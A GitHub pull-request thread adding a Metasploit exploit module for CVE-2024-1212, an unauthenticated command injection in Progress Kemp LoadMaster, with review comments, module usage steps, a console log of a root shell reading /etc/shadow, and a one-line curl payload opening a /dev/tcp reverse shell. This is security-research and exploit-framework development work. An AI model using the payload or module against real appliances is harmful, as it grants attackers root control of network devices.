Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

DaveYesland · 2024-03-19T19:00:16Z

Verification

For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/

https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212

The AWS marketplace (https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw) has free trials which can be used by deploying a version before 7.2.59.2 (7.2.59.0).
These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.

To enable sessions management:

Log into the admin portal at: https://LM-IP:8443/
Go to Certificates & Security > Admin WUI Access > "Enable Session Management"
Log out, refresh and try the exploit.

With privesc:

Install the application
Start msfconsole
Do: use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
Do: set RHOSTS <target loadmaster>
Do: set RPORT <port loadmaster is running on>
Do: set LHOST <your host IP>
Do: run
You should get a root shell.

Without privesc:

Install the application
Start msfconsole
Do: use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
Do: set PRIVESC false
Do: set RHOSTS <target loadmaster>
Do: set RPORT <port loadmaster is running on>
Do: set LHOST <your host IP>
Do: run
You should get a shell as the "bal" user.

Example demonstration:

msf6 > use exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
[*] Using configured payload cmd/linux/https/x64/shell/reverse_tcp
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RPORT 8443
RPORT => 8443
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RHOSTS 18.207.251.125
RHOSTS => 18.207.251.125
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set LHOST ******
LHOST => ******
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > exploit

[*] Started reverse TCP handler on *****:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 18.207.251.125:8443 is vulnerable...
[+] The target is vulnerable.
[*] Sending payload...
[*] Sending stage (38 bytes) to 18.207.251.125
[*] Sending stage (38 bytes) to 18.207.251.125
[*] Executing privilege escalation command...
[-] Detected a session initiated too close to the first session. Terminating it.
[*] 18.207.251.125 - Command shell session 2 closed.
[*] Executing privilege escalation command...
[*] Command shell session 2 opened (*****:4444 -> 18.207.251.125:12652) at 2024-03-18 18:34:50 +0000

[-] Invalid session identifier: 2
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > sessions -i 1
[*] Starting interaction with 1...

[*] Command shell session 1 opened (*****:4444 -> 18.207.251.125:12648) at 2024-03-18 18:35:10 +0000
cat /.mnt/patch_name /etc/shadow
7.2.59.0.22007.RELEASE
root:*:11449:0:10000::::
bin:*:8902:0:10000::::
daemon:*:8902:0:10000::::
nobody:*:0:0:10000::::
sshd:*:0:0:10000::::

bwatters-r7 · 2024-03-20T15:16:19Z

OK, so CVE-2024-1212 is a command injection vulnerability, but what about the priv esc? Your blog says Once command execution is obtained, it is possible to escalate privileges to root from the default admin “bal” user by abusing sudo entries, granting full control of the device.
I cannot find a matching method overwriting loadkeys for sudo abuse, but it looks like a configuration issue, so I'm assuming it is not considered a new vulnerability?

DaveYesland · 2024-03-20T15:33:18Z

OK, so CVE-2024-1212 is a command injection vulnerability, but what about the priv esc? Your blog says Once command execution is obtained, it is possible to escalate privileges to root from the default admin “bal” user by abusing sudo entries, granting full control of the device. I cannot find a matching method overwriting loadkeys for sudo abuse, but it looks like a configuration issue, so I'm assuming it is not considered a new vulnerability?

Yeah this is just one method. The bal user is considered an admin user and can run several commands with sudo including changing any users password. I used the method I chose in this module just because it avoids any permanent changes like changing the root password.

bwatters-r7 · 2024-03-20T19:50:45Z

When I go to the loadmaster website, the only download is 7.2.59.2, which after install is 7.2.59.2.22338, and is patched against this vuln. I'm happy to create a trail account to get a license, but is there anywhere I can download the vulnerable VM?

DaveYesland · 2024-03-20T19:52:18Z

Currently the only way I know to get the vulnerable version is via the AWS marketplace:

The AWS marketplace (https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw) has free trials which can be used by deploying a version before 7.2.59.2 (7.2.59.0).
These require the "session management" to be enabled in order for the exploit to work. Since by default in AWS the admin WUI is behind basic auth.

To enable sessions management:

Log into the admin portal at: https://LM-IP:8443/
Go to Certificates & Security > Admin WUI Access > "Enable Session Management"
Log out, refresh and try the exploit.

wvu · 2024-03-21T00:00:17Z

I'm happy to send the VM.

bwatters-r7 · 2024-03-21T13:32:12Z

I'm happy to send the VM.

@wvu You rock; let me know how.

bwatters-r7 · 2024-03-21T13:58:06Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+          'Reliability' => [ REPEATABLE_SESSION ]
+        },
+        'Platform' => ['unix', 'linux'],
+        'Arch' => [ARCH_X86, ARCH_X64],


Suggested change

'Arch' => [ARCH_X86, ARCH_X64],

'Arch' => [ARCH_CMD],

bwatters-r7 · 2024-03-21T14:00:33Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+    end
+  end
+
+  def execute_privesc_command(session)


This is likely not going to work with a Meterpreter session, so let me get a target up and see if I can give you a more specific way it make it work on all payloads.

cgranleese-r7 · 2024-03-21T13:49:59Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+      OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
+    ])
+
+    @first_session_timestamp = nil


This will be nil in Ruby already, even if not already set.

Suggested change

@first_session_timestamp = nil

cgranleese-r7 · 2024-03-21T13:53:33Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+  def on_new_session(session)
+    # Kill the session if it was initiated too close to the first session
+    # This command injection tends to execute twice, so we want to kill
+    # the second session. Probably a better way to do this but I don't know it.
+    super
+    current_time = Time.now.to_i
+    if @first_session_timestamp.nil?
+      @first_session_timestamp = current_time
+    elsif current_time - @first_session_timestamp < 5
+      print_error('Detected a session initiated too close to the first session. Terminating it.')
+      session.kill
+    end
+
+    # Run privesc commands if PRIVESC is set to true
+    if datastore['PRIVESC']
+      execute_privesc_command(session)
+    else
+      print_status('Privilege escalation skipped.')
+    end
+  end


We should potentially look at doing this with a flag on the target. @bwatters-r7 may be able to provide more context here.

wvu · 2024-03-21T16:25:13Z

@bwatters-r7 I pinged you on the hellsite!

bwatters-r7 · 2024-03-22T14:23:27Z

OK; I got the software; thanks @wvu !
I was also able to modify the priv esc section to work with Meterpreter or shell sessions and added in logic to force the payload to only launch once using fetch payloads. I need to verify that the logic works across all cmd payloads and run it by some others because some of what I did to get the payload changed is a bit odd on the Metasploit Framework side.

bwatters-r7 · 2024-03-25T12:54:33Z

Out of curiosity, do we know if that priv esc works on the latest release? I'm happy to test on my own, but the diagnostic shell does not have sudo or loadkeys. Alternatively, if there's a way to drop into a real shell, I'm check if it was patched myself.

DaveYesland · 2024-03-25T15:16:13Z

@wvu found a much cleaner way to get a root shell: https://x.com/wvuuuuuuuuuuuuu/status/1770728321166278885?s=20
Still would need to test it in the module but probably better to just use this method on the initial command injection, remove the complexity of the privesc altogether.

curl -kv "https://192.168.56.4/access/set?param=enableapi&value=1" -u "';ssh -oProxyCommand=';sh&>/dev/tcp/192.168.56.1/4444<&1'

wvu · 2024-03-25T15:31:37Z

rsync was also another good option!

bwatters-r7 · 2024-03-25T15:41:55Z

@wvu found a much cleaner way to get a root shell: https://x.com/wvuuuuuuuuuuuuu/status/1770728321166278885?s=20 Still would need to test it in the module but probably better to just use this method on the initial command injection, remove the complexity of the privesc altogether.
curl -kv "https://192.168.56.4/access/set?param=enableapi&value=1" -u "';ssh -oProxyCommand=';sh&>/dev/tcp/192.168.56.1/4444<&1'

This will get a root shell via CVE-2024-1212 on v7.2.59.0.22007; I'm asking/trying to figure out if the separate priv esc technique of copying bash to loadkeys still works on v7.2.59.2.22338. I can't use the exploit to get a shell because it is patched.
Basically, if that priv esc technique works on versions that CVE-2024-1212 does not, we should split this into 2 modules.

DaveYesland · 2024-03-26T16:57:04Z

I was able to check root privescs on 7.2.59.2.22338, which is not vulnerable to CVE-2024-1212. The sudo entries and other privescs still exist.

bwatters-r7 · 2024-03-26T17:24:32Z

I was able to check root privescs on 7.2.59.2.22338, which is not vulnerable to CVE-2024-1212. The sudo entries and other privescs still exist.

Thank you!
If that's the case, we really should split this into 2 modules. I'm happy to split it up and do a PR to this PR since you've already put a lot of work into it, but I don't want to get in your way if it is something you'd like to pursue. Let me know if I should do it, or if you'd like to do it. Since I'll base it off of your work, even if I do the work to split it, you will remain a contributor and main author of the modules.

DaveYesland · 2024-03-26T18:59:48Z

No problem having you take that if you already have a plan to split them.

bwatters-r7 · 2024-04-05T15:06:18Z

I don't want anyone to think I've forgotten about this. I've got the exploit working great with prepend to enforce the "run once" flag, and I'm nearly there on the separate priv esc module. I'll PR to this branch for the exploit, and open a new PR for the priv esc.
Thanks for your patience, @DaveYesland

… once

bwatters-r7 · 2024-04-15T20:49:24Z

Wow; sorry this took so long!
DaveYesland#1

DaveYesland · 2024-04-22T20:46:13Z

Awesome looks good! Is there anything else needed from me here?

bwatters-r7 · 2024-04-22T20:55:33Z

Awesome looks good! Is there anything else needed from me here?

Yes; if the changes are good with you, please merge them into your branch. After that, I'll get another contributor to approve them, and I can land this branch to the main branch.
If you are really busy and/or are uninterested in landing my PR to your branch, I can close this PR and PR my branch to the main branch and close this PR. It would result in the PR going under my name rather than yours, though. I think I could probably also do a force push of the changes to this branch, but the easiest and best way is for you to merge my PR to your branch.

…uth_cmd_injection

Remove Priv Esc to add it to another module and update it to only run…

jheysel-r7

Everything looks great, two minor comments

jheysel-r7 · 2024-04-23T19:51:29Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+        'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
+        'Description' => %q{
+          This module exploits an unauthenticated command injection vulnerability in
+          Progress Kemp LoadMaster in the authorization header.


Just adding affected / patched version info to the Description.

Suggested change

Progress Kemp LoadMaster in the authorization header.

Progress Kemp LoadMaster in the authorization header. Versions after 7.2.48.1 are affected. The vulenrability

was patched in the following versions: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS)

jheysel-r7 · 2024-04-23T19:51:58Z

modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

+                         {
+                           'param' => 'enableapi',
+                           'value' => '1'
+                         },


This indentation seems like something rubocop should have complained about

bwatters-r7 · 2024-04-26T23:25:26Z

Release Notes

This adds a module targeting CVE-2024-1212, an unauthenticated command injection vulnerability in Kemp Progress Loadmaster versions after 7.2.48.1, but patched in 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS).

Add module and docs for CVE-2024-1212

e32d05e

DaveYesland changed the title ~~Add module and docs for CVE-2024-1212~~ Progress LoadMaster unauthenticated command injection module CVE-2024-1212 Mar 19, 2024

bwatters-r7 self-assigned this Mar 19, 2024

msftidy cleanup

1a8233d

bwatters-r7 reviewed Mar 21, 2024

View reviewed changes

cgranleese-r7 reviewed Mar 21, 2024

View reviewed changes

Remove Priv Esc to add it to another module and update it to only run…

409f0e4

… once

bwatters-r7 mentioned this pull request Apr 17, 2024

Add Kemp Progress Loadmaster sudo abuse priv esc #19100

Open

7 tasks

DaveYesland added 2 commits April 22, 2024 17:53

Merge branch 'rapid7:master' into module/progress_kemp_loadmaster_una…

c10bde9

…uth_cmd_injection

Merge pull request #1 from bwatters-r7/update-18972

a362440

Remove Priv Esc to add it to another module and update it to only run…

jheysel-r7 reviewed Apr 23, 2024

View reviewed changes

jheysel-r7 approved these changes Apr 23, 2024

View reviewed changes

Add vulnerable versions and fix indention

02c3115

bwatters-r7 closed this pull request by merging all changes into rapid7:master in 364d491 Apr 26, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

DaveYesland commented Mar 19, 2024

bwatters-r7 commented Mar 20, 2024

DaveYesland commented Mar 20, 2024 •

edited

bwatters-r7 commented Mar 20, 2024

DaveYesland commented Mar 20, 2024 •

edited

wvu commented Mar 21, 2024

bwatters-r7 commented Mar 21, 2024

bwatters-r7 Mar 21, 2024

bwatters-r7 Mar 21, 2024

cgranleese-r7 Mar 21, 2024

cgranleese-r7 Mar 21, 2024

wvu commented Mar 21, 2024

bwatters-r7 commented Mar 22, 2024

bwatters-r7 commented Mar 25, 2024

DaveYesland commented Mar 25, 2024 •

edited

wvu commented Mar 25, 2024

bwatters-r7 commented Mar 25, 2024

DaveYesland commented Mar 26, 2024

bwatters-r7 commented Mar 26, 2024

DaveYesland commented Mar 26, 2024

bwatters-r7 commented Apr 5, 2024

bwatters-r7 commented Apr 15, 2024

DaveYesland commented Apr 22, 2024

bwatters-r7 commented Apr 22, 2024

jheysel-r7 left a comment

jheysel-r7 Apr 23, 2024

jheysel-r7 Apr 23, 2024

wvu Apr 24, 2024

bwatters-r7 commented Apr 26, 2024

	Progress Kemp LoadMaster in the authorization header.
	Progress Kemp LoadMaster in the authorization header. Versions after 7.2.48.1 are affected. The vulenrability
	was patched in the following versions: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS)

Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

Conversation

DaveYesland commented Mar 19, 2024

Verification

Example demonstration:

bwatters-r7 commented Mar 20, 2024

DaveYesland commented Mar 20, 2024 • edited

bwatters-r7 commented Mar 20, 2024

DaveYesland commented Mar 20, 2024 • edited

wvu commented Mar 21, 2024

bwatters-r7 commented Mar 21, 2024

bwatters-r7 Mar 21, 2024

Choose a reason for hiding this comment

bwatters-r7 Mar 21, 2024

Choose a reason for hiding this comment

cgranleese-r7 Mar 21, 2024

Choose a reason for hiding this comment

cgranleese-r7 Mar 21, 2024

Choose a reason for hiding this comment

wvu commented Mar 21, 2024

bwatters-r7 commented Mar 22, 2024

bwatters-r7 commented Mar 25, 2024

DaveYesland commented Mar 25, 2024 • edited

wvu commented Mar 25, 2024

bwatters-r7 commented Mar 25, 2024

DaveYesland commented Mar 26, 2024

bwatters-r7 commented Mar 26, 2024

DaveYesland commented Mar 26, 2024

bwatters-r7 commented Apr 5, 2024

bwatters-r7 commented Apr 15, 2024

DaveYesland commented Apr 22, 2024

bwatters-r7 commented Apr 22, 2024

jheysel-r7 left a comment

Choose a reason for hiding this comment

jheysel-r7 Apr 23, 2024

Choose a reason for hiding this comment

jheysel-r7 Apr 23, 2024

Choose a reason for hiding this comment

wvu Apr 24, 2024

Choose a reason for hiding this comment

bwatters-r7 commented Apr 26, 2024

Release Notes

DaveYesland commented Mar 20, 2024 •

edited

DaveYesland commented Mar 20, 2024 •

edited

DaveYesland commented Mar 25, 2024 •

edited